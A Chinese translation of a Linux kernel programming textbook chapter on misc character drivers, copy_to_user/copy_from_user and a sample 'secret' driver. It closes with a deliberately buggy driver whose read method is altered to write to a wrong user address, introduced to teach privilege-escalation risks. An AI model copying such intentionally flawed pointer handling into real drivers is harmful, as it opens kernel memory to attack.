让我们详细说明一下。现在(在驱动程序初始化之后),用户模式进程通过对其发出open(2)系统调用来打开驱动程序的设备文件。假设一切顺利(应该如此),进程现在通过内核深处的file_operations结构指针连接到您的驱动程序。这里有一个关键点:在open(2)系统调用成功返回后,进程在该(设备)文件上发出任何与文件相关的系统调用foo(),内核 VFS 层将以面向对象的方式(我们在本书中之前已经指出过!)盲目地并信任地调用已注册的fops->foo()方法!用户空间进程打开的文件,通常是/dev中的设备文件,由struct file元数据结构在内部表示(指向此结构的指针struct file *filp被传递给驱动程序)。因此,在伪代码方面,当用户空间发出与文件相关的系统调用foo()时,内核 VFS 层实际上执行以下操作:

/* pseudocode: kernel VFS layer (not the driver) */
if (filp->f_op->foo)
    filp->f_op->foo(); /* invoke the 'registered' driver method corresponding to 'foo()' */

因此,如果打开设备文件的用户空间进程在其上调用read(2)系统调用,内核 VFS 将调用filp->f_op->read(...),实际上将控制权重定向到设备驱动程序。作为设备驱动程序作者,您的工作是提供read(2)的功能!对于所有其他与文件相关的系统调用也是如此。这基本上是 Unix 和 Linux 实现的众所周知的如果不是进程,就是文件设计原则。

处理不支持的方法

不必填充f_ops结构的每个成员,只需填充驱动程序支持的成员。如果是这种情况,并且您已经填充了一些方法但遗漏了,比如poll方法,如果用户空间进程在您的设备上调用poll(2)(也许您已经记录了它不应该这样做,但如果它这样做了呢?),那么会发生什么?在这种情况下,内核 VFS 检测到foo指针(在本例中为poll)为NULL,将返回适当的负整数(实际上,遵循相同的0/-E协议)。glibc代码将这个数乘以-1,并将调用进程的errno变量设置为该值,表示系统调用失败。

要注意的两点:

  • VFS 返回的负errno值通常并不直观。(例如,如果您将f_opread()函数指针设置为NULL,VFS 会导致发送回EINVAL值。这使得用户空间进程认为read(2)失败是因为"无效参数"错误,但实际上根本不是这种情况!)

  • lseek(2)系统调用使驱动程序在文件中的指定位置寻址 - 当然,这里指的是设备。内核故意将f_op函数指针命名为llseek(注意两个l)。这只是为了提醒您,lseek的返回值可以是 64 位(long long)数量。现在,对于大多数硬件设备,lseek值是没有意义的,因此大多数驱动程序不需要实现它(不像文件系统)。现在问题是:即使您不支持lseek(您已将f_opllseek成员设置为NULL),它仍然返回一个随机的正值,从而导致用户模式应用错误地得出它成功了的结论。因此,如果您不实现lseek,您需要执行以下操作:

  1. llseek明确设置为特殊的no_llseek值,这将导致返回一个失败值(-ESPIPE非法寻址)。

  2. 在这种情况下,您还需要在驱动程序的open()方法中调用nonseekable_open()函数,指定文件是不可寻址的(通常在open()方法中这样调用:return nonseekable_open(struct inode *inode, struct file *filp);)。有关详细信息等,均在 LWN 文章中有所涵盖:lwn.net/Articles/97154/。您可以在此处看到这对许多驱动程序造成的更改:lwn.net/Articles/97180/

如果您不支持某个功能,返回的适当值是-ENOSYS,这将使用户模式进程看到错误Function not implemented(当它调用perror(3)strerror(3)库 API 时)。这是清晰的,明确的;用户空间开发人员现在将了解到您的驱动程序不支持此功能。因此,实现驱动程序的一种方法是为所有文件操作方法设置指针,并为驱动程序中的所有文件相关系统调用(f_op方法)编写例程。对于您支持的功能,编写代码;对于您未实现的功能,只需返回值-ENOSYS。虽然这样做有点费力,但它将导致用户空间的明确返回值。

编写 misc 驱动程序代码 - 第二部分

掌握了这些知识后,再次查看ch1/miscdrv/miscdrv.cinit代码。您将看到,就像在上一节中描述的那样,我们已将miscdev结构的fops成员初始化为file_operations结构,从而设置了驱动程序的功能。驱动程序的相关代码片段如下:

static const struct file_operations llkd_misc_fops = {
    .open = open_miscdrv,
    .read = read_miscdrv,
    .write = write_miscdrv,
    .release = close_miscdrv,
};

static struct miscdevice llkd_miscdev = {
    [ ... ]
    .fops = &llkd_misc_fops, /* connect to this driver's 'functionality' */
};

因此,现在您可以看到:当打开我们的设备文件的用户空间进程(或线程)调用read(2)系统调用时,内核 VFS 层将跟随指针(通用地,filp->f_op->foo())并调用read_miscdrv()函数,实际上将控制权交给设备驱动程序!有关读取方法的编写方式将在下一节中介绍。

继续我们简单的misc驱动程序的init代码:

    [ ... ] 
    /* Retrieve the device pointer for this device */
    dev = llkd_miscdev.this_device;
    pr_info("LLKD misc driver (major # 10) registered, minor# = %d,"
            " dev node is /dev/%s\n", llkd_miscdev.minor, llkd_miscdev.name);
    dev_info(dev, "sample dev_info(): minor# = %d\n", llkd_miscdev.minor);
    return 0;        /* success */
}

我们的驱动程序检索到device结构的指针 - 这是每个驱动程序都需要的东西。在misc内核框架中,它在miscdevice结构的this_device成员中可用。

接下来,pr_info()显示动态获取的次要号。dev_info()辅助例程更有趣:作为驱动程序作者,您应该在发出printk时使用这些dev_xxx()辅助程序;它还将为设备添加有用的信息前缀。dev_xxx()pr_xxx()辅助程序之间的语法唯一的区别是前者的第一个参数是指向设备结构的指针。

好的,让我们开始动手吧!我们构建驱动程序并将其insmod到内核空间(我们使用我们的lkm辅助脚本来执行):

图 1.4 - 在 x86_64 Ubuntu VM 上构建和加载我们的 miscdrv.ko 骨架 misc 驱动程序的屏幕截图

(顺便说一句,正如你在图 1.4中看到的,我在一个更新的发行版 Ubuntu 20.04.1 LTS 上运行了 5.4.0-58-generic 内核的misc驱动程序。)请注意图 1.4底部的两个打印;第一个是通过pr_info()发出的(前缀是pr_fmt()宏的内容,如Linux 内核编程-第四章,编写你的第一个内核模块-LKMs 第一部分中的通过 pr_fmt 宏标准化 printk 输出部分所解释的)。第二个打印是通过dev_info()辅助例程发出的-它的前缀是misc llkd_miscdrv,表示它来自内核的misc框架,具体来说是来自llkd_miscdrv设备!(dev_xxx()例程是多功能的;根据它们所在的总线,它们将显示各种细节。这对于调试和日志记录很有用。我们再次重申:在编写驱动程序时,建议使用dev_*()例程。)你还可以看到/dev/llkd_miscdrv设备节点确实被创建了,具有预期的类型(字符)和主次对(这里是 10 和 56)。

编写杂项驱动程序代码-第三部分

现在,init代码已经完成,驱动程序功能已经通过文件操作结构设置好,并且驱动程序已经注册到内核的misc框架中。那么,接下来会发生什么呢?实际上,除非一个进程打开与你的驱动程序相关的设备文件并执行某种输入/输出(I/O,即读/写)操作,否则什么也不会发生。

因此,让我们假设一个用户模式进程(或线程)在你的驱动程序的设备节点上发出open(2)系统调用(回想一下,当驱动程序向内核的misc框架注册时,设备节点已经被自动创建)。最重要的是,正如你在理解进程、驱动程序和内核之间的连接部分学到的那样,对于在你的设备节点上发出的任何与文件相关的系统调用,VFS 基本上会调用驱动程序的(f_op)注册方法。因此,在这里,VFS 将执行这样的操作:filp->f-op->open(),从而在我们的file_operations结构中调用我们的驱动程序的open方法,即open_miscdrv()函数!

但是,作为驱动程序作者,你应该如何实现你的驱动程序的open方法的代码呢?关键点在于:你的open函数的签名应该与file_operation结构的open完全相同;实际上,对于任何函数都是如此。因此,我们实现open_miscdrv()函数如下:

/*
 * open_miscdrv()
 * The driver's open 'method'; this 'hook' will get invoked by the kernel VFS
 * when the device file is opened. Here, we simply print out some relevant info.
 * The POSIX standard requires open() to return the file descriptor on success;
 * note, though, that this is done within the kernel VFS (when we return). So,
 * all we do here is return 0 indicating success.
 * (The nonseekable_open(), in conjunction with the fop's llseek pointer set to
 * no_llseek, tells the kernel that our device is not seek-able).
 */
static int open_miscdrv(struct inode *inode, struct file *filp)
{
    char *buf = kzalloc(PATH_MAX, GFP_KERNEL);

    if (unlikely(!buf))
        return -ENOMEM;
    PRINT_CTX(); // displays process (or atomic) context info
    pr_info(" opening \"%s\" now; wrt open file: f_flags = 0x%x\n",
        file_path(filp, buf, PATH_MAX), filp->f_flags);
    kfree(buf);
    return nonseekable_open(inode, filp);
}

请注意我们的open例程open_miscdrv()函数的签名如何与f_op结构的open函数指针完全匹配(你可以随时在elixir.bootlin.com/linux/v5.4/source/include/linux/fs.h#L1814查找 5.4 Linux 的file_operations结构)。

在这个简单的驱动程序中,在我们的open方法中,我们实际上没有太多事情要做。我们通过kzalloc()为缓冲区(用于保存设备路径名)分配一些内存,使用我们的PRINT_CTX()宏(在convenient.h头文件中)显示当前上下文-当前正在打开设备的进程。然后我们通过pr_info()发出一个printk显示一些 VFS 层的细节(路径名和打开标志值);你可以使用方便的 API file_path()来获取文件的路径名,就像我们在这里做的一样(为此,我们需要分配并在使用后释放内核内存缓冲区)。然后,由于这个驱动程序不支持寻址,我们调用nonseekable_open() API(如处理不支持的方法部分所讨论的)。

对设备文件的open(2)系统调用应该成功。用户模式进程现在将拥有一个有效的文件描述符 - 打开文件的句柄(这里实际上是一个设备节点)。现在,假设用户模式进程想要从硬件中读取数据;因此,它发出read(2)系统调用。如前所述,内核 VFS 现在将自动调用我们的驱动程序的读取方法read_miscdrv()。再次强调,它的签名完全模仿了file_operations数据结构中的读取函数签名。这是我们驱动程序读取方法的简单代码:

/*
 * read_miscdrv()
 * The driver's read 'method'; it has effectively 'taken over' the read syscall
 * functionality! Here, we simply print out some info.
 * The POSIX standard requires that the read() and write() system calls return
 * the number of bytes read or written on success, 0 on EOF (for read) and -1 (-ve errno)
 * on failure; we simply return 'count', pretending that we 'always succeed'.
 */
static ssize_t read_miscdrv(struct file *filp, char __user *ubuf, size_t count, loff_t *off)
{
        pr_info("to read %zd bytes\n", count);
        return count;
}

前面的评论是不言自明的。在其中,我们发出pr_info(),显示用户空间进程想要读取的字节数。然后,我们简单地返回读取的字节数,意味着成功!实际上,我们(基本上)什么都没做。其余的驱动程序方法非常相似。

测试我们简单的 misc 驱动程序

让我们测试我们真正简单的骨架misc字符驱动程序(在ch1/miscdrv目录中;我们假设您已经按照图 1.4中所示构建并插入了它)。我们通过对其发出open(2)read(2)write(2)close(2)系统调用来测试它;我们应该如何做呢?我们总是可以编写一个小的 C 程序来精确地做到这一点,但更简单的方法是使用有用的dd(1)“磁盘复制”实用程序。我们像这样使用它:

dd if=/dev/llkd_miscdrv of=readtest bs=4k count=1

内部dd通过if=(这里是dd的第一个参数;if=指定输入文件)打开我们传递给它的文件(/dev/llkd_miscdrv),它将从中读取(通过read(2)系统调用,当然)。输出将被写入由参数of=指定的文件(dd的第二个参数,是一个名为readtest的常规文件);bs指定要执行 I/O 的块大小,count是要执行 I/O 的次数)。完成所需的 I/O 后,dd进程将close(2)这些文件。这个顺序反映在内核日志中(图 1.5):

图 1.5 - 屏幕截图显示我们通过 dd(1)最小化测试了 miscdrv 驱动程序的读取方法

在验证我们的驱动程序(LKM)已插入后,我们发出dd(1)命令,让它从我们的设备中读取 4,096 字节(因为块大小(bs)设置为4kcount设置为1)。我们让它通过of=选项开关将输出写入一个名为readtest的文件。查看内核日志,您可以看到(图 1.5dd进程确实已经打开了我们的设备(我们的PRINT_CTX()宏的输出显示,它是当前运行我们驱动程序代码的进程上下文!)。接下来,我们可以看到(通过pr_fmt()的输出)控制转到我们驱动程序的读取方法,在其中我们发出一个简单的printk并返回值 4096,表示成功(尽管我们实际上并没有读取任何东西!)。然后,设备被dd关闭。此外,使用hexdump(1)实用程序进行快速检查,我们确实从驱动程序(在文件readtest中;请意识到这是因为dd将其读取缓冲区初始化为NULL)接收到了0x1000(4,096)个空值(如预期的那样)。

我们在代码中使用的PRINT_CTX()宏位于我们的convenient.h头文件中。请看一下;它非常有教育意义(我们尝试模拟内核Ftrace基础设施的latency output格式,它在一个小空间内显示了很多细节,一行输出)。这在第四章中的处理硬件中断部分中有详细说明。现在不要担心所有的细节...

图 1.6显示了我们(最小化地)通过dd(1)测试写入我们的驱动程序。这次我们通过利用内核内置的mem驱动程序的/dev/urandom功能,读取了4k的随机数据,并将随机数据写入我们的设备节点;实际上,写入我们的“设备”:

图 1.6 - 屏幕截图显示我们通过 dd(1)最小化测试我们的 miscdrv 驱动程序的写入方法

(顺便说一句,我还包括了一个简单的用户空间测试应用程序用于驱动程序;可以在这里找到:ch1/miscdrv/rdwr_test.c。我会留给你阅读它的代码并尝试。)

你可能会想:我们显然成功地从用户空间向驱动程序读取和写入数据,但是,等等,我们实际上从未在驱动程序代码中看到任何数据传输发生。是的,这是下一节的主题:您将如何实际将数据从用户空间进程缓冲区复制到内核驱动程序的缓冲区,反之亦然。继续阅读!

将数据从内核空间复制到用户空间,反之亦然

设备驱动程序的一个主要工作是使用户空间应用程序能够透明地读取和写入外围硬件设备的数据(通常是某种芯片;虽然它可能根本不是硬件),将设备视为普通文件。因此,要从设备读取数据,应用程序打开与该设备对应的设备文件,从而获得文件描述符,然后简单地使用该fd发出read(2)系统调用(图 1.7中的步骤 1)!内核 VFS 拦截读取,并且,正如我们所见,控制流到底层设备驱动程序的读取方法(当然是一个 C 函数)。驱动程序代码现在与硬件设备"通信",实际执行 I/O,读取操作。(确切地说,硬件读取(或写入)的具体方式取决于硬件的类型——它是内存映射设备、端口、网络芯片等等?我们将在这里不再深入讨论;下一章会讲到。)驱动程序从设备读取数据后,现在将这些数据放入内核缓冲区kbuf(以下图中的步骤 2。当然,我们假设驱动程序作者通过[k|v]malloc()或其他适当的内核 API 为其分配了内存)。

现在我们在内核空间缓冲区中有硬件设备数据。我们应该如何将其传输到用户空间进程的内存缓冲区?我们将利用使这变得容易的内核 API,下面将介绍这一点。

利用内核 API 执行数据传输

现在,如前所述,让我们假设您的驱动程序已经读取了硬件数据,并且现在它存在于内核内存缓冲区中。我们如何将它传输到用户空间?一个天真的方法是简单地尝试通过memcpy()来执行这个操作,但不,那不起作用(为什么?一,它是不安全的,二,它非常依赖架构;它在一些架构上工作,在其他架构上不工作)。因此,一个关键点:内核提供了一对内联函数来在内核空间和用户空间之间传输数据。它们分别是copy_to_user()copy_from_user(),并且确实非常常用。

使用它们很简单。两者都接受三个参数:to指针(目标缓冲区),from指针(源缓冲区)和n,要复制的字节数(将其视为memcpy操作):

include <linux/uaccess.h>   /* Note! used to be <asm/uaccess.h> upto 4.11 */

unsigned long copy_to_user(void __user *to, const void *from, unsigned long n);
unsigned long copy_from_user(void *to, const void __user *from, unsigned long n);

返回值是未复制的字节数;换句话说,返回值为0表示成功,非零返回值表示未复制给定数量的字节。如果发生非零返回,您应该(遵循通常的0/-E返回约定)返回一个错误,指示 I/O 故障,返回-EIO-EFAULT(这样在用户空间设置errno的正数对应值)。以下(伪)代码说明了设备驱动程序如何使用copy_to_user()函数将一些数据从内核复制到用户空间:

static ssize_t read_method(struct file *filp, char __user *ubuf, size_t count, loff_t *off)
{
     char *kbuf = kzalloc(...);
     [ ... ]
     /* ... do what's required to get data from the hardware device into kbuf ... */
    if (copy_to_user(buf, kbuf, count)) {
        dev_warn(dev, "copy_to_user() failed\n");
        goto out_rd_fail;
    }
    [ ... ]
    return count;    /* success */
out_rd_fail:
    kfree(kbuf);
 return -EIO; /* or -EFAULT */
}

在这里,当然,我们假设您有一个有效的分配的内核内存缓冲区kbuf,以及一个有效的设备指针(struct device *dev)。图 1.7说明了前面(伪)代码试图实现的内容:

图 1.7-读取:copy_to_user():将数据从硬件复制到内核缓冲区,然后复制到用户空间缓冲区

使用copy_from_user()内联函数的语义也适用。它通常用于驱动程序的写入方法,将用户空间进程上下文中写入的数据拉入内核空间缓冲区。我们将让您自行想象这一点。

同样重要的是要意识到,这两个例程(copy_[from|to]_user())在运行过程中可能会导致进程上下文(页面)故障,从而休眠;换句话说,调用调度程序。因此,它们只能在安全休眠的进程上下文中使用,绝不能在任何类型的原子或中断上下文中使用(我们在第四章中对might_sleep()助手进行了更多解释-一个调试辅助工具-在不要阻塞-发现可能阻塞的代码路径部分)。

对于好奇的读者(希望您是其中之一!),这里有一些链接,详细解释了为什么您不能只使用简单的memcpy(),而必须使用copy_[from|to]_user()内联函数来复制数据从内核到用户空间和反之:

在接下来的部分,我们将编写一个更完整的misc框架字符设备驱动程序,实际上执行一些 I/O,读取和写入数据。

一个带有秘密的杂项驱动程序

现在您了解了如何在用户空间和内核空间之间复制数据(以及反向),让我们基于我们之前的骨架(ch1/miscdrv/)杂项驱动程序编写另一个设备驱动程序(ch1/miscdrv_rdwr)。关键区别在于我们在整个过程中使用了一些全局数据项(在一个结构内),并实际进行了一些 I/O 读取和写入。在这里,让我们介绍驱动程序上下文或私有驱动程序数据结构的概念;这个想法是有一个方便访问的数据结构,其中包含所有相关信息。在这里,我们将这个结构命名为struct drv_ctx(在接下来的代码清单中可以看到)。在驱动程序初始化时,我们分配内存并对其进行初始化。

好吧,这里没有真正的秘密,只是让它听起来有趣。我们驱动程序上下文数据结构中的一个成员是所谓的秘密消息(它是drv_ctx.oursecret成员,以及一些(虚假)统计和配置词)。这是我们建议使用的简单“驱动程序上下文”或私有数据结构:

// ch1/miscdrv_rdwr/miscdrv_rdwr.c
[ ... ]
/* The driver 'context' (or private) data structure;
 * all relevant 'state info' reg the driver is here. */
struct drv_ctx {
    struct device *dev;
    int tx, rx, err, myword;
    u32 config1, config2;
    u64 config3;
#define MAXBYTES 128 /* Must match the userspace app; we should actually
                      * use a common header file for things like this */
    char oursecret[MAXBYTES];
};
static struct drv_ctx *ctx;

好的,现在让我们继续看代码并理解它。

编写“秘密”杂项设备驱动程序的代码

我们将讨论我们的秘密杂项字符设备驱动程序的实现细节分为五个部分:驱动程序初始化,读取方法,写入方法功能实现,驱动程序清理,最后是将使用我们的设备驱动程序的用户空间应用程序。

我们的秘密驱动程序-初始化代码

在我们的秘密设备驱动程序的init代码中(当然是一个内核模块,因此在insmod(8)上调用),我们首先将驱动程序注册为一个misc字符驱动程序与内核(通过misc_register() API,如前面的编写 misc 驱动程序代码-第一部分部分所示;我们不会在这里重复这段代码)。

接下来,我们通过有用的托管分配devm_kzalloc() API(正如您在配套指南Linux 内核编程,第八章,模块作者的内核内存分配-第一部分,在使用内核的资源管理内存分配 API部分中学到的)为我们的驱动程序的“上下文”结构分配内核内存,并对其进行初始化。请注意,您必须确保您首先获取设备指针dev,然后才能使用此 API;我们从我们的miscdevice结构的this_device成员中检索它(如下所示):

// ch1/miscdrv_rdwr/​miscdrv_rdwr.c
[ ... ]
static int __init miscdrv_rdwr_init(void)
{
    int ret;
    struct device *dev;

    ret = misc_register(&llkd_miscdev);
    [ ... ]
    dev = llkd_miscdev.this_device;
    [ ... ]
    ctx = devm_kzalloc(dev, sizeof(struct drv_ctx), GFP_KERNEL);
    if (unlikely(!ctx))
        return -ENOMEM;

    ctx->dev = dev;
    strscpy(ctx->oursecret, "initmsg", 8);
    [ ... ]
    return 0;         /* success */
}

好吧,显然,我们已经初始化了ctx私有结构实例的dev成员以及'secret'字符串为'initmsg'字符串(并不是一个非常令人信服的秘密,但就让它保持这样吧)。这里的想法是,当用户空间进程(或线程)打开我们的设备文件并对其进行read(2)时,我们通过调用copy_to_user()助手函数将秘密传回(复制)给它!同样,当用户模式应用程序向我们写入数据(是的,通过write(2)系统调用),我们认为写入的数据是新的秘密。因此,我们从其用户空间缓冲区中获取它-通过copy_from_user()助手函数-并在驱动程序内存中更新它。

为什么不简单地使用strcpy()(或strncpy())API 来初始化ctx->oursecret成员?这非常重要:从安全性的角度来看,它们不够安全。此外,内核社区已经将strlcpy() API 标记为已弃用www.kernel.org/doc/html/latest/process/deprecated.html#strlcpy)。总的来说,尽量避免使用已弃用的东西,如内核文档中所述:www.kernel.org/doc/html/latest/process/deprecated.html#deprecated-interfaces-language-features-attributes-and-conventions

很明显,这个新驱动程序的有趣部分是 I/O 功能- 方法;继续进行吧!

我们的秘密驱动程序-读取方法

我们首先展示读取方法的相关代码-这是用户空间进程(或线程)如何读取我们驱动程序中的秘密信息(在其上下文结构中)的方法:

static ssize_t
read_miscdrv_rdwr(struct file *filp, char __user *ubuf, size_t count, loff_t *off)
{
    int ret = count, secret_len = strlen(ctx->oursecret);
    struct device *dev = ctx->dev;
    char tasknm[TASK_COMM_LEN];

    PRINT_CTX();
    dev_info(dev, "%s wants to read (upto) %zd bytes\n", get_task_comm(tasknm, current), count);

    ret = -EINVAL;
    if (count < MAXBYTES) {
    [...] *<< we don't display some validity checks here >>*

    /* In a 'real' driver, we would now actually read the content of the
     * [...]
     * Returns 0 on success, i.e., non-zero return implies an I/O fault).
     * Here, we simply copy the content of our context structure's 
 * 'secret' member to userspace. */
    ret = -EFAULT;
    if (copy_to_user(ubuf, ctx->oursecret, secret_len)) {
        dev_warn(dev, "copy_to_user() failed\n");
        goto out_notok;
    }
    ret = secret_len;

    // Update stats
    ctx->tx += secret_len; // our 'transmit' is wrt this driver
    dev_info(dev, " %d bytes read, returning... (stats: tx=%d, rx=%d)\n",
            secret_len, ctx->tx, ctx->rx);
out_notok:
    return ret;
}

copy_to_user()例程完成了它的工作-它将ctx->oursecret源缓冲区复制到目标指针ubuf用户空间缓冲区,用于secret_len字节,从而将秘密传输到用户空间应用程序。现在,让我们来看看驱动程序的写入方法。

我们的秘密驱动程序-写入方法

最终用户可以通过向驱动程序写入新的秘密来更改秘密,通过write(2)系统调用到驱动程序的设备节点。内核通过 VFS 层将写入重定向到我们的驱动程序的写入方法(正如您在理解进程、驱动程序和内核之间的连接部分中学到的):

static ssize_t
write_miscdrv_rdwr(struct file *filp, const char __user *ubuf, size_t count, loff_t *off)
{
    int ret = count;
    void *kbuf = NULL;
    struct device *dev = ctx->dev;
    char tasknm[TASK_COMM_LEN];

    PRINT_CTX();
    if (unlikely(count > MAXBYTES)) { /* paranoia */
        dev_warn(dev, "count %zu exceeds max # of bytes allowed, "
                "aborting write\n", count);
        goto out_nomem;
    }
    dev_info(dev, "%s wants to write %zd bytes\n", get_task_comm(tasknm, current), count);

    ret = -ENOMEM;
    kbuf = kvmalloc(count, GFP_KERNEL);
    if (unlikely(!kbuf))
        goto out_nomem;
    memset(kbuf, 0, count);

    /* Copy in the user supplied buffer 'ubuf' - the data content
     * to write ... */
    ret = -EFAULT;
    if (copy_from_user(kbuf, ubuf, count)) {
        dev_warn(dev, "copy_from_user() failed\n");
        goto out_cfu;
     }

    /* In a 'real' driver, we would now actually write (for 'count' bytes)
     * the content of the 'ubuf' buffer to the device hardware (or 
     * whatever), and then return.
     * Here, we do nothing, we just pretend we've done everything :-)
     */
    strscpy(ctx->oursecret, kbuf, (count > MAXBYTES ? MAXBYTES : count));
    [...]
    // Update stats
    ctx->rx += count; // our 'receive' is wrt this driver

    ret = count;
    dev_info(dev, " %zd bytes written, returning... (stats: tx=%d, rx=%d)\n",
            count, ctx->tx, ctx->rx);
out_cfu:
    kvfree(kbuf);
out_nomem:
    return ret;
}

我们使用kvmalloc() API 来分配内存,以容纳我们将要复制的用户数据的缓冲区。当然,实际的复制是通过copy_from_user()例程完成的。在这里,我们使用它将用户空间应用程序传递的数据复制到我们的内核缓冲区kbuf中。然后,我们通过strscpy()例程更新我们的驱动程序上下文结构的oursecret成员到这个值,从而更新秘密!(随后对驱动程序的读取现在将显示新的秘密。)另外,请注意以下内容:

  • 我们如何一贯地使用dev_xxx()助手代替通常的printk例程。这是设备驱动程序的推荐做法。

  • (现在典型的)使用goto进行最佳错误处理。

这涵盖了驱动程序的核心内容。

我们的秘密驱动程序 – 清理

重要的是要意识到我们必须释放我们分配的任何缓冲区。然而,在这里,由于我们在init代码中执行了托管分配(devm_kzalloc()),我们无需担心清理工作;内核会处理它。当然,在驱动程序的清理代码路径(在rmmod(8)上调用时),我们会从内核中注销misc驱动程序:

static void __exit miscdrv_rdwr_exit(void)
{
    misc_deregister(&llkd_miscdev);
    pr_info("LLKD misc (rdwr) driver deregistered, bye\n");
}

你会注意到,我们在这个版本的驱动程序中还似乎无用地使用了两个全局整数gagb。确实,在这里它们没有真正的意义;我们之所以有它们,只有在本书的最后两章关于内核同步的内容中才会变得清楚。现在请忽略它们。

在这一点上,你可能会意识到我们在这个驱动程序中任意访问全局数据的方式可能会引起并发问题(数据竞争!;确实;我们将把内核并发和同步的深入重要的内容留到本书的最后两章。

我们的秘密驱动程序 – 用户空间测试应用程序

仅仅编写内核组件,即设备驱动程序,是不够的;你还必须编写一个用户空间应用程序来实际使用驱动程序。我们将在这里这样做。(同样,你也可以使用dd(1)。)

为了使用设备驱动程序,用户空间应用程序首先必须打开与之对应的设备文件。(在这里,为了节省空间,我们不完整显示应用程序代码,只显示其中最相关的部分。我们期望你已经克隆了本书的 Git 存储库并且在代码上进行了工作。)打开设备文件的代码如下:

// ch1/miscdrv_rdwr/rdwr_test_secret.c
int main(int argc, char **argv)
{
    char opt = 'r';
    int fd, flags = O_RDONLY;
    ssize_t n;
    char *buf = NULL;
    size_t num = 0;
[...]
    if ('w' == opt)
        flags = O_WRONLY;
    fd = open(argv[2], flags, 0); if (fd== -1) {
    [...]

这个应用程序的第二个参数是要打开的设备文件。为了读取或写入,进程将需要内存:

    if ('w' == opt)
        num = strlen(argv[3])+1;    // IMP! +1 to include the NULL byte!
    else
        num = MAXBYTES;
    buf = malloc(num);
    if (!buf) {
        [...]

接下来,让我们看看代码块,让应用程序调用(伪)设备上的读取或写入(取决于第一个参数是r还是w)(为简洁起见,我们不显示错误处理代码):

    if ('r' == opt) {
        n = read(fd, buf, num);
        if( n < 0 ) [...]
        printf("%s: read %zd bytes from %s\n", argv[0], n, argv[2]);
        printf("The 'secret' is:\n \"%.*s\"\n", (int)n, buf);
    } else {
        strncpy(buf, argv[3], num);
        n = write(fd, buf, num);
        if( n < 0 ) [ ... ]
        printf("%s: wrote %zd bytes to %s\n", argv[0], n, argv[2]);
    }
    [...]
    free(buf);
    close(fd);
    exit(EXIT_SUCCESS); 
} 

(在尝试这个驱动程序之前,请确保先卸载之前的miscdrv驱动程序的内核模块。)现在,确保这个驱动程序已经构建并插入,否则将导致open(2)系统调用失败。我们展示了一些试运行。首先,让我们构建用户模式应用程序,插入驱动程序(图 1.8中未显示),并从刚创建的设备节点中读取:

图 1.8 – miscdrv_rdwr:(最小程度地)测试读取;原始秘密被揭示

用户模式应用程序成功从驱动程序接收了 7 个字节;这是(初始)秘密值,它显示出来。内核日志反映了驱动程序的初始化,几秒钟后,你可以看到(通过我们发出的printkdev_xxx()实例)rdwr_test_secret应用程序在进程上下文中运行了驱动程序的代码。设备的打开,随后的读取和关闭方法都清晰可见。(注意进程名称被截断为rdwr_test_secre;这是因为任务结构的comm成员是被截断为 16 个字符的进程名称。)

图 1.9中,我们展示了写入我们的设备节点的互补操作,改变了秘密值;随后的读取确实显示它已经生效:

图 1.9 – miscdrv_rdwr:(最小程度地)测试写入;一个新的,优秀的秘密被写入

写入发生的内核日志部分在图 1.9中被突出显示。它有效;我绝对鼓励你自己尝试一下,一边查看内核日志。

现在,是时候深入一点了。事实是,作为驱动程序作者,你必须学会在安全方面非常小心,否则各种令人讨厌的惊喜都会等着你。下一节将让你了解这一关键领域。

问题和安全问题

对于新手驱动程序作者来说,一个重要的考虑是安全性。问题是,即使是在驱动程序中使用非常常见的copy_[from|to]_user()函数也可能让恶意用户很容易 - 且非法地 - 覆盖用户空间和内核空间的内存。如何?以下部分将详细解释这一点;然后,我们甚至会向您展示一个(有点牵强,但仍然有效)的黑客。

黑客秘密驱动程序

思考一下:我们有copy_to_user()辅助例程;第一个参数是目标to地址,应该是用户空间虚拟地址(UVA),当然。常规用法将遵守这一点,并提供一个合法和有效的用户空间虚拟地址作为目标地址,一切都会很好。

但如果我们不这样做呢?如果我们传递另一个用户空间地址,或者,检查一下 - 一个内核虚拟地址(KVA) - 替代它呢?copy_to_user()代码现在将以内核特权运行,用源地址(第二个参数)中的任何数据覆盖目标,覆盖字节数为第三个参数!实际上,黑客经常尝试这样的技术,将代码插入用户空间缓冲区并以内核特权执行,导致相当致命的特权升级(privesc)场景。

为了清楚地展示不仔细设计和实现驱动程序的不利影响,我们故意在先前驱动程序的读写方法中引入错误(实际上是错误!)的“坏”版本(尽管在这里,我们只考虑与非常常见的copy_[from|to]_user()例程有关的情况,而不考虑其他情况)。

为了更加亲身地感受这一点,我们将编写我们的ch1/miscdrv_rdwr驱动程序的“坏”版本。我们将称之为(非常聪明地)ch1/bad_miscdrv。在这个版本中,我们故意内置了两个有错误的代码路径:

  • 驱动程序的读取方法中的一个

  • 另一个更令人兴奋的,很快您将看到,在写方法中。

让我们检查两者。我们将从有错误的读取开始。

坏驱动程序 - 有错误的读取()

为了帮助您看到代码中发生了什么变化,我们首先对这个(故意)坏驱动程序代码与我们先前(好的)版本进行diff(1),得到了差异,当然(在以下片段中,我们将输出限制为最相关的内容)。

// in ch1/bad_miscdrv
$ diff -u ../miscdrv_rdwr/miscdrv_rdwr.c bad_miscdrv.c
[ ... ]
+#include <linux/cred.h>            ​// access to struct cred
#include "../../convenient.h"
[ ... ]
static ssize_t read_miscdrv_rdwr(struct file *filp, char __user *ubuf,
[ ... ]
+ void *kbuf = NULL;
+ void *new_dest = NULL;
[ ... ]
+#define READ_BUG
+//#undef READ_BUG
+#ifdef READ_BUG
[ ... ]
+ new_dest = ubuf+(512*1024);
+#else
+ new_dest = ubuf;
+#endif
[ ... ]
+ if (copy_to_user(new_dest, ctx->oursecret, secret_len)) {
[ ... ]

因此,很明显:在我们“坏”驱动程序的读取方法中,如果定义了READ_BUG宏,我们将修改用户空间目标指针,使其指向一个非法位置(比我们实际应该复制数据的位置多 512 KB!)。这里的要点在于:我们可以做任意这样的事情,因为我们是以内核特权运行的它会导致问题和错误是另一回事。

让我们试试:首先确保您已构建并加载了bad_miscdrv内核模块(您可以使用我们的lkm便利脚本来执行)。我们的试运行,通过我们的ch1/bad_miscdrv/rdwr_test_hackit用户模式应用程序发出read(2)系统调用,结果失败(请参见以下屏幕截图):

图 1.10 - 屏幕截图显示我们的 bad_miscdrv 杂项驱动程序执行“坏”读取

啊,这很有趣;我们的测试应用程序(rdwr_test_hackit)的read(2)系统调用确实失败,perror(3)例程指示失败原因为Bad address。但是为什么?为什么驱动程序,以内核特权运行,实际上没有写入目标地址(这里是0x5597245d46b0,错误的地址;正如我们所知,它试图写入正确目标地址的 512 KB 之后。我们故意编写了驱动程序的读取方法代码来这样做)。

